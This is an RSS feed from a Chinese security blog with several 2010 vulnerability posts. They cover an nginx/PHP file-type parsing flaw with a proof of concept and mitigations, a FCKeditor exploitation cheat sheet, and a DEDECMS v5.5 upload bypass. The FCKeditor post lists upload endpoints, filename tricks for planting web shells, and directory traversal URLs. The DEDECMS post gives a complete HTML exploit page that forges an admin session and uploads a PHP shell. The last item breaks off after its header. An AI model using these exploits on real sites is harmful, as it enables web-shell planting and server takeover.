<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>st0p&#039;s blog &#187; 漏洞</title>
	<atom:link href="http://www.st0p.org/blog/tag/%e6%bc%8f%e6%b4%9e/feed" rel="self" type="application/rss+xml" />
	<link>http://www.st0p.org/blog</link>
	<description>孤高之路不可走,一时的弱者,不是一辈子的弱者!</description>
	<lastBuildDate>Tue, 03 Jan 2012 10:48:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>nginx文件类型错误解析漏洞</title>
		<link>http://www.st0p.org/blog/archives/nginx-file-type-error-parsing-vulnerability.html</link>
		<comments>http://www.st0p.org/blog/archives/nginx-file-type-error-parsing-vulnerability.html#comments</comments>
		<pubDate>Fri, 21 May 2010 12:39:49 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[cgi.fix_pathinfo]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[PATH_INFO]]></category>
		<category><![CDATA[文件类型]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[错误解析]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=503</guid>
		<description><![CDATA[文章来源：http://www.80sec.com/nginx-securit.html 漏洞介绍：nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题，默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得恶意的攻击者可能攻陷支持php的nginx服务器。 漏洞分析：nginx默认以cgi的方式支持php的运行，譬如在配置文件当中可以以 1 2 3 4 5 6 7 location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_params; } 的方式支持对php的解析，location对请求进行选择的时候会使用URI环境变量进行选择，其中传递到后端Fastcgi的关键变量 SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定，而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的，这里就是产生问题的点。而为了较好的支持PATH_INFO的提取，在PHP 的配置选项里存在cgi.fix_pathinfo选项，其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。 那么假设存在一个http://www.80sec.com/80sec.jpg，我们以如下的方式去访问 http://www.80sec.com/80sec.jpg/80sec.php 将会得到一个URI /80sec.jpg/80sec.php 经过location指令，该请求将会交给后端的fastcgi处理，nginx为其设置环境变量SCRIPT_FILENAME，内容为 /scripts/80sec.jpg/80sec.php 而在其他的webserver如lighttpd当中，我们发现其中的SCRIPT_FILENAME被正确的设置为 /scripts/80sec.jpg 所以不存在此问题。 后端的fastcgi在接受到该选项时，会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理，一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用，所以该选项一般配置开启。Php通过该选项之后将查找其中真正的脚本文件名字，查找的方式也是查看文件是否存在，这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为 /scripts/80sec.jpg和80sec.php 最后，以/scripts/80sec.jpg作为此次请求需要执行的脚本，攻击者就可以实现让nginx以php来解析任何类型的文件了。 POC： 访问一个nginx来支持php的站点，在一个任何资源的文件如robots.txt后面加上/80sec.php，这个时候你可以看到如下的区别： 访问http://www.80sec.com/robots.txt HTTP/1.1 200 OK Server: nginx/0.6.32 Date: Thu, 20 May 2010 10:05:30 [...]]]></description>
			<content:encoded><![CDATA[<p>文章来源：http://www.80sec.com/nginx-securit.html</p>
<p>漏洞介绍：nginx是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题，默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析，这将导致严重的安全问题，使得恶意的攻击者可能攻陷支持php的nginx服务器。</p>
<p>漏洞分析：nginx默认以cgi的方式支持php的运行，譬如在配置文件当中可以以</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="apache" style="font-family:monospace;">location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:<span style="color: #ff0000;">9000</span>;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
<span style="color: #00007f;">include</span> fastcgi_params;
}</pre></td></tr></table></div>

<p>的方式支持对php的解析，location对请求进行选择的时候会使用URI环境变量进行选择，其中传递到后端Fastcgi的关键变量 SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定，而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的，这里就是产生问题的点。而为了较好的支持PATH_INFO的提取，在PHP 的配置选项里存在cgi.fix_pathinfo选项，其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。<br />
那么假设存在一个http://www.80sec.com/80sec.jpg，我们以如下的方式去访问</p>
<p>http://www.80sec.com/80sec.jpg/80sec.php</p>
<p>将会得到一个URI</p>
<p>/80sec.jpg/80sec.php</p>
<p>经过location指令，该请求将会交给后端的fastcgi处理，nginx为其设置环境变量SCRIPT_FILENAME，内容为</p>
<p>/scripts/80sec.jpg/80sec.php</p>
<p>而在其他的webserver如lighttpd当中，我们发现其中的SCRIPT_FILENAME被正确的设置为</p>
<p>/scripts/80sec.jpg</p>
<p>所以不存在此问题。<br />
后端的fastcgi在接受到该选项时，会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理，一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用，所以该选项一般配置开启。Php通过该选项之后将查找其中真正的脚本文件名字，查找的方式也是查看文件是否存在，这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为</p>
<p>/scripts/80sec.jpg和80sec.php</p>
<p>最后，以/scripts/80sec.jpg作为此次请求需要执行的脚本，攻击者就可以实现让nginx以php来解析任何类型的文件了。</p>
<p>POC： 访问一个nginx来支持php的站点，在一个任何资源的文件如robots.txt后面加上/80sec.php，这个时候你可以看到如下的区别：</p>
<p>访问http://www.80sec.com/robots.txt</p>
<p>HTTP/1.1 200 OK<br />
Server: nginx/0.6.32<br />
Date: Thu, 20 May 2010 10:05:30 GMT<br />
Content-Type: text/plain<br />
Content-Length: 18<br />
Last-Modified: Thu, 20 May 2010 06:26:34 GMT<br />
Connection: keep-alive<br />
Keep-Alive: timeout=20<br />
Accept-Ranges: bytes</p>
<p>访问访问http://www.80sec.com/robots.txt/80sec.php</p>
<p>HTTP/1.1 200 OK<br />
Server: nginx/0.6.32<br />
Date: Thu, 20 May 2010 10:06:49 GMT<br />
Content-Type: text/html<br />
Transfer-Encoding: chunked<br />
Connection: keep-alive<br />
Keep-Alive: timeout=20<br />
X-Powered-By: PHP/5.2.6</p>
<p>其中的Content-Type的变化说明了后端负责解析的变化，该站点就可能存在漏洞。</p>
<p>漏洞厂商：http://www.nginx.org</p>
<p>解决方案：</p>
<p>我们已经尝试联系官方，但是此前你可以通过以下的方式来减少损失</p>
<p>关闭cgi.fix_pathinfo为0</p>
<p>或者</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="apache" style="font-family:monospace;">if ( $fastcgi_script_name ~ \..*\/.*php ) {
return <span style="color: #ff0000;">403</span>;
}</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/nginx-file-type-error-parsing-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>76</slash:comments>
		</item>
		<item>
		<title>Fckeditor漏洞利用方法总结</title>
		<link>http://www.st0p.org/blog/archives/fckeditor-lou-dong-li-yong-fang-fa-zong-jie.html</link>
		<comments>http://www.st0p.org/blog/archives/fckeditor-lou-dong-li-yong-fang-fa-zong-jie.html#comments</comments>
		<pubDate>Sat, 17 Apr 2010 07:59:25 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[Fckeditor]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=457</guid>
		<description><![CDATA[来源:http://huairen.me/archives/369.html 查看编辑器版本 FCKeditor/_whatsnew.html ————————————————————————————————————————————————————————————— 2. Version 2.2 版本 Apache+linux 环境下在上传文件后面加个.突破！测试通过。 ————————————————————————————————————————————————————————————— 3.Version]]></description>
			<content:encoded><![CDATA[<p>来源:http://huairen.me/archives/369.html</p>
<p>查看编辑器版本<br />
FCKeditor/_whatsnew.html<br />
—————————————————————————————————————————————————————————————</p>
<p>2. Version 2.2 版本<br />
Apache+linux 环境下在上传文件后面加个.突破！测试通过。<br />
—————————————————————————————————————————————————————————————</p>
<p>3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&lt;form id=”frmUpload” enctype=”multipart/form-data”
action=”http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media” method=”post”&gt;Upload a new file:&lt;br&gt;
&lt;input type=”file” name=”NewFile” size=”50″&gt;&lt;br&gt;
&lt;input id=”btnUpload” type=”submit” value=”Upload”&gt;
&lt;/form&gt;</pre></td></tr></table></div>

<p>—————————————————————————————————————————————————————————————</p>
<p>4.FCKeditor 文件上传“.”变“_”下划线的绕过方法<br />
        很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。<br />
    4.1：提交shell.php+空格绕过<br />
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。<br />
    4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。<br />
—————————————————————————————————————————————————————————————</p>
<p>5. 突破建立文件夹<br />
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&#038;Type=Image&#038;CurrentFolder=%2Fshell.asp&#038;NewFolderName=z&#038;uuid=1244789975684<br />
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&#038;CurrentFolder=/&#038;Type=Image&#038;NewFolderName=shell.asp<br />
—————————————————————————————————————————————————————————————</p>
<p>6. FCKeditor 中test 文件的上传地址<br />
FCKeditor/editor/filemanager/browser/default/connectors/test.html<br />
FCKeditor/editor/filemanager/upload/test.html<br />
FCKeditor/editor/filemanager/connectors/test.html<br />
FCKeditor/editor/filemanager/connectors/uploadtest.html<br />
—————————————————————————————————————————————————————————————</p>
<p>7.常用上传地址<br />
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&#038;Type=Image&#038;CurrentFolder=/<br />
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&#038;connector=connectors/asp/connector.asp<br />
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&#038;Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)<br />
JSP 版：<br />
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&#038;Connector=connectors/jsp/connector.jsp<br />
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文<br />
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。<br />
—————————————————————————————————————————————————————————————</p>
<p>8.其他上传地址<br />
FCKeditor/_samples/default.html<br />
FCKeditor/_samples/asp/sample01.asp<br />
FCKeditor/_samples/asp/sample02.asp<br />
FCKeditor/_samples/asp/sample03.asp<br />
FCKeditor/_samples/asp/sample04.asp<br />
一般很多站点都已删除_samples 目录，可以试试。<br />
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。<br />
—————————————————————————————————————————————————————————————</p>
<p>9.列目录漏洞也可助找上传地址<br />
Version 2.4.1 测试通过<br />
修改CurrentFolder 参数使用 ../../来进入不同的目录<br />
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&#038;Type=Image&#038;CurrentFolder=../../..%2F&#038;NewFolderName=shell.asp<br />
根据返回的XML 信息可以查看网站所有的目录。<br />
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&#038;Type=Image&#038;CurrentFolder=%2F<br />
也可以直接浏览盘符：<br />
JSP 版本：<br />
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&#038;Type=&#038;CurrentFolder=%2F<br />
—————————————————————————————————————————————————————————————</p>
<p>10.爆路径漏洞<br />
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&#038;Type=File&#038;CurrentFolder=/shell.asp<br />
—————————————————————————————————————————————————————————————</p>
<p>11. FCKeditor 被动限制策略所导致的过滤不严问题<br />
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3<br />
脆弱描述：<br />
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：<br />
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm<br />
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!<br />
        而在apache 下，因为”Apache 文件名解析缺陷漏洞”也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。<br />
        在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!<br />
—————————————————————————————————————————————————————————————</p>
<p>12.最古老的漏洞，Type文件没有限制！<br />
        我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/fckeditor-lou-dong-li-yong-fang-fa-zong-jie.html/feed</wfw:commentRss>
		<slash:comments>53</slash:comments>
		</item>
		<item>
		<title>DEDECMS v5.5 Final select_soft_post.php 漏洞</title>
		<link>http://www.st0p.org/blog/archives/dedecms-v5-5-final-select_soft_post-php-vulnerability.html</link>
		<comments>http://www.st0p.org/blog/archives/dedecms-v5-5-final-select_soft_post-php-vulnerability.html#comments</comments>
		<pubDate>Mon, 08 Mar 2010 17:22:23 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[DEDECMS v5.5]]></category>
		<category><![CDATA[select_soft_post.php]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=389</guid>
		<description><![CDATA[作者:st0p 转载请注明出处 http://www.st0p.org 今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:http://bbs.wolvez.org/topic/125/ 自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了.. 而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧.. 我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK... 看了一下/include/dialog/select_soft_post.php 问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ...... //文件名（前为手工指定， 后者自动处理） if&#40;!empty&#40;$newname&#41;&#41; &#123; $filename = $newname; [...]]]></description>
			<content:encoded><![CDATA[<p>作者:st0p<br />
转载请注明出处 http://www.st0p.org</p>
<p>今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:<a  href="http://bbs.wolvez.org/topic/125/" target="_blank">http://bbs.wolvez.org/topic/125/</a></p>
<p>自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了..</p>
<p>而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧..</p>
<p>我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK...</p>
<p>看了一下/include/dialog/select_soft_post.php</p>
<p>问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">......</span>
<span style="color: #666666; font-style: italic;">//文件名（前为手工指定， 后者自动处理）</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$newname</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$newname</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//当我们的新名称为st0p.php.的时候</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;\.&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$fs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$uploadfile_name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//当$filename中不含有.的时候调用</span>
	<span style="color: #b1b100;">else</span> <span style="color: #000088;">$fs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//当$filename中含有.时调用</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">eregi</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfg_not_allowall</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fs</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//$fs[count($fs)-1]得到的值为空,跳过验证</span>
	<span style="color: #009900;">&#123;</span>
		ShowMsg<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;你指定的文件名被系统禁止！&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'javascript:;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;\.&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$filename</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">else</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cuserLogin</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getUserID</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'-'</span><span style="color: #339933;">.</span>dd2char<span style="color: #009900;">&#40;</span>MyDate<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'ymdHis'</span><span style="color: #339933;">,</span><span style="color: #000088;">$nowtme</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$fs</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$uploadfile_name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">eregi</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfg_not_allowall</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fs</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		ShowMsg<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;你上传了某些可能存在不安全因素的文件，系统拒绝操作！&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'javascript:;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$filename</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fs</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000088;">$fullfilename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cfg_basedir</span><span style="color: #339933;">.</span><span style="color: #000088;">$activepath</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$filename</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//嘿嘿,跳过验证,$filename还为st0p.php.</span>
<span style="color: #000088;">$fullfileurl</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$activepath</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">.</span><span style="color: #000088;">$filename</span><span style="color: #339933;">;</span>
<span style="color: #990000;">move_uploaded_file</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$uploadfile</span><span style="color: #339933;">,</span><span style="color: #000088;">$fullfilename</span><span style="color: #009900;">&#41;</span> or <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;上传文件到 <span style="color: #006699; font-weight: bold;">$fullfilename</span> 失败！&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">@</span><span style="color: #990000;">unlink</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$uploadfile</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">......</span></pre></td></tr></table></div>

<p>EXP如下</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
&lt;title&gt;DEDECMS v5.5 Final select_soft_post.php EXP&lt;/title&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
function fsubmit(){
    var form = document.forms[0];
    form.action = form.target.value + form.path.value;
    tmpstr = form.target.value +'/'+ form.newname.value;
    form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
    form.submit();
    }
&lt;/script&gt;
&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
body {
	text-align: center;
}
--&gt;
&lt;/style&gt;
&lt;/head&gt;
&nbsp;
&lt;body&gt;
&lt;h3&gt;DEDECMS v5.5 Final select_soft_post.php EXP&lt;/h3&gt;
&lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
  &lt;p&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;_SESSION[dede_admin_id]&quot; value=&quot;1&quot; /&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;bkurl&quot; value=&quot;1&quot; /&gt;
    &lt;label&gt;Target:
      &lt;input name=&quot;target&quot; type=&quot;text&quot; id=&quot;target&quot; value=&quot;http://target&quot; /&gt;
    &lt;/label&gt;
    &lt;label&gt;Path:
      &lt;input name=&quot;path&quot; type=&quot;text&quot; id=&quot;path&quot; value=&quot;/include/dialog/select_soft_post.php&quot; /&gt;
    &lt;/label&gt;
    &lt;label&gt;File:
      &lt;input type=&quot;file&quot; name=&quot;uploadfile&quot; id=&quot;uploadfile&quot; /&gt;
    &lt;/label&gt;
    &lt;label&gt;NewName:
      &lt;input name=&quot;newname&quot; type=&quot;text&quot; id=&quot;newname&quot; value=&quot;shell.php.&quot; /&gt;
    &lt;/label&gt;
    &amp;nbsp;&lt;input type=&quot;submit&quot; name=&quot;button&quot; id=&quot;button&quot; value=&quot;Fuck&quot; onclick=&quot;fsubmit()&quot; /&gt;
  &lt;/p&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/dedecms-v5-5-final-select_soft_post-php-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>72</slash:comments>
		</item>
		<item>
		<title>Sablog-X v2.x 任意变量覆盖漏洞</title>
		<link>http://www.st0p.org/blog/archives/sablog-x-v2-x-arbitrary-variable-overwrite-vulnerability.html</link>
		<comments>http://www.st0p.org/blog/archives/sablog-x-v2-x-arbitrary-variable-overwrite-vulnerability.html#comments</comments>
		<pubDate>Thu, 18 Feb 2010 23:58:15 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[$_EVO]]></category>
		<category><![CDATA[extract()]]></category>
		<category><![CDATA[Sablog-X]]></category>
		<category><![CDATA[Sablog-X v2.x]]></category>
		<category><![CDATA[变量覆盖]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=376</guid>
